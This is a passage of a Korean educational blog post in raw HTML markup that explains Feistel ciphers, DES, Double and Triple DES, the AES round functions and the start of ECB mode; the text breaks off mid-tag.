/&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/9931803F5C1CE0432D&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28C%5Cquad%20%3D%5Cquad%20%28%7B%20L%20%7D_%7B%20n%20%7D%2C%5Cquad%20R_%7B%20n%20%7D%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;128&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;복화화 과정은 암호화의 역순으로 진행된다. 복호화때 사용되는 규칙은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/994E713C5C1CE08E2E&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20R%20%7D_%7B%20i-1%20%7D%5Cquad%20%3D%5Cquad%20%7B%20L%20%7D_%7B%20i%20%7D%5C%5C%20%7B%20L%20%7D_%7B%20i-1%20%7D%5Cquad%20%3D%5Cquad%20%7B%20R%20%7D_%7B%20i%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20F%28%7B%20R%20%7D_%7B%20i-1%20%7D%2C%5Cquad%20%7B%20K%20%7D_%7B%20i%20%7D%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;235&quot; height=&quot;59&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;복호화 과정을 끝낸 최종 평문 P는 아래와 같이 얻어진다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/9977013F5C1CE0C033&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28P%5Cquad%20%3D%5Cquad%20%28%7B%20L%20%7D_%7B%200%20%7D%2C%5Cquad%20R_%7B%200%20%7D%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;129&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Feistel Cipher의 동작 과정을 그려보면 아래와 같이 그릴 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 942px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99764F355C1CE29707&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99764F355C1CE29707&quot; width=&quot;942&quot; height=&quot;972&quot; filename=&quot;이미지 011.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;DES (Data Encryption Standard)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES는 1970년대 후반에 개발된 block cipher이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES는 peistel 구조를 가지고 있고 스펙은 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;64 bit의 block length&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;56 bit의 key length&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (원래 64 bit이지만, 8bit은 parity bit이다),&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;16 round function&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;48 bit의 round key(sub key)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES의 round function의 작업은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F2AA4C5C1CECC027&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F2AA4C5C1CECC027&quot; width=&quot;1000&quot; height=&quot;629&quot; filename=&quot;이미지 012.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;S-box&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;는 6bit를 4bit로 매핑하는 box이다. 총 8개의 S-box를 사용하므로 48bit를 32bit로 매핑한다고 생각할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각각의 round function에서 S-box는 동일한 box를 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES의 block length가 64bit이기 때문에 L과 R은 각각 32bit가 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;S-box는 치환 박스라고 하여, 6bit를 4bit로 치환하는 code book 과 같은 box이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES의 round function은 아래와 같이 정의될 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/998CF2365C1CF0AA18&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28F%28%7B%20R%20%7D_%7B%20i-1%20%7D%2C%5Cquad%20K_%7B%20i%20%7D%29%5Cquad%20%3D%5Cquad%20P-box%28S-boxes%28Expand%28%7B%20R%20%7D_%7B%20i-1%20%7D%29%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20K%20%7D_%7B%20i%20%7D%29%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;478&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES의 특징은 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES는 S-box에 의해 안전성이 결정된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key length가 56bit이기 때문에 exhaustive key search(전수키조사)를 통해 key를 찾을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;Tripple DES&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;DES의 문제점을 해결하기 위해서 나온 방안이다.&lt;/p&gt;&lt;p&gt;우선 왜 Double DES는 사용하지 않는지에 대해 고민할 필요가 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Double DES를 두가지 방법으로 사용할 수 있는데 우선 첫 번째 경우를 보자&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/993441395C1CF1D005&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28C%5Cquad%20%3D%5Cquad%20E%28E%28P%2C%5Cquad%20%7B%20K%20%7D%29%2C%5Cquad%20K%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;184&quot; height=&quot;26&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Key를 두 번 사용하여 마치 key length가 56bit에서 112bit로 늘어난 것으로 생각할 수 있지만&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;동일한 key를 두 번 사용하였으므로 결국 56bit key를 한번 사용한 DES와 똑같다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Double DES의 두 번째 경우이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99C93A395C1CF2E902&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28C%5Cquad%20%3D%5Cquad%20E%28E%28P%2C%5Cquad%20%7B%20K%20%7D_%7B%201%20%7D%29%2C%5Cquad%20%7B%20K%20%7D_%7B%202%20%7D%29%5Cquad%20%5Cquad%20%5Ccdots%20%5Cquad%20%5Cquad%20%281%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;293&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이번 경우는 첫 번째 경우를 보완해 112bit의 key를 갖는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 이 경우 또한 공격자가 미리 table을 가지고 있으면 DES와 같은 확률로 key를 찾을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(1)번 식을 조금만 변형하면 (2)번 식을 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/9956C93C5C1CF32402&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28D%28C%2C%5Cquad%20%7B%20K%20%7D_%7B%202%20%7D%29%5Cquad%20%3D%5Cquad%20E%28P%2C%5Cquad%20%7B%20K%20%7D_%7B%201%20%7D%29%5Cquad%20%5Cquad%20%5Ccdots%20%5Cquad%20%5Cquad%20%282%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;294&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 공격자가 E(P,K1)의 모든 값에 대해 미리 계산한 table을 가지고 있다고 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;가정하자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;공격자는 Encryption에 의해 생긴 암호문 C와 K2를 가지고 복호화하여, E(P,K1)의 값을 찾을 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Table을 만드는 시간을 빼면 정확히 DES의 exhaustive key search의 확률과 동일하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;Tripple DES를 사용하는데 아래와 같은 방식&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;으로 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/9917A23E5C1CF51B0E&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28C%5Cquad%20%3D%5Cquad%20E%28D%28E%28P%2C%5Cquad%20%7B%20K%20%7D_%7B%201%20%7D%29%2C%5Cquad%20%7B%20K%20%7D_%7B%202%20%7D%29%2C%5Cquad%20%7B%20K%20%7D_%7B%201%20%7D%29%5C%5C%20P%5Cquad%20%3D%5Cquad%20D%28E%28D%28C%2C%5Cquad%20%7B%20K%20%7D_%7B%201%20%7D%29%2C%5Cquad%20%7B%20K%20%7D_%7B%202%20%7D%29%2C%5Cquad%20%7B%20K%20%7D_%7B%201%20%7D%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;266&quot; height=&quot;59&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key를 K1, K2를 사용하기 때문에 &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;112bit의 length&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;를 가지고, &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;DES와 호환&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 DES 연산을 3번 해야하기 때문에 속도가 느려, AES를 사용하고 있는 추세이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;AES (Advanced Encryption Standard)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;AES는 DES의 취약점을 보완한 block cipher이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES는 key length가 56 bit로 인해 exhaustive key search(전수키조사)에 취약하다는 것을 알기 때문에 key가 DES보다 더 길어졌다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;AES의 스펙&lt;/span&gt;은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;128bit의 block length&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;128, 192, 256bit의 key lenght&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;10, 12, 14의 round function&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;round function&lt;/span&gt;은 아래 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;4가지 function&lt;/span&gt;으로 이루어져 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;ByteSub&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;ShiftRow&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;MixColumn&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;AddRoundKey&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;간단히 각 함수를 설명하면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;ByteSub&lt;/span&gt;는 DES의 S-box와 거의 유사하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;ShiftRow&lt;/span&gt;는 단순한 left shift이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;첫번째 행은 변화 없음&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;두번째 행은 lsl #1&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;세번째 행은 lsl #2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;네번째 행은 lsl #3&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;MixColumn&lt;/span&gt;은 shift operation과 xor operation으로 구성된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DES의 X-box와 유사한 목적이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;AddRoundKey&lt;/span&gt;는 각 round 마다 key schedule를 통해 round key를 생성하기 위한 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4가지 function 모두 역산이 수행 가능하기 때문에 복호화가 가능하고 복호화는 암호화의 역순으로 이루어진다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;Block Cipher mode&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Block Cipher를 사용할 때 임의 입력 길이의 데이터를 암호화 및 복호화 하기 위해서 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;운영모드(mode of operation)&lt;/span&gt;를 적용해야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Block Cipher mode는 ECB, CBC, CTR, CFB, GCM 등등 존재하지만 여기서 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;ECB, CBC, CTR&lt;/span&gt; mode를 설명한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Block Cipher를 진행할 때 다수의 block을 암호화 해야하는데 각각의 mode마다 암호화 방식이 다르다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 18pt;&quot;&gt;ECB (Electronic Codebook mode)&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;각각의 block을 모두 독립적으로 암호화&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ECB를 사용한 암호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99E5EA395C1DAE211E&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20C%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20E%28%7B%20P%20%7D_%7B%20i%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cquad%20i%5Cquad%20%3D%5Cquad%200%2C%5Cquad%201%2C%5Cquad%202%5Cquad%20%5Ccdots%20%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;311&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ECB를 사용한 복호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/998F3F3C5C1DAE3E25&quot; 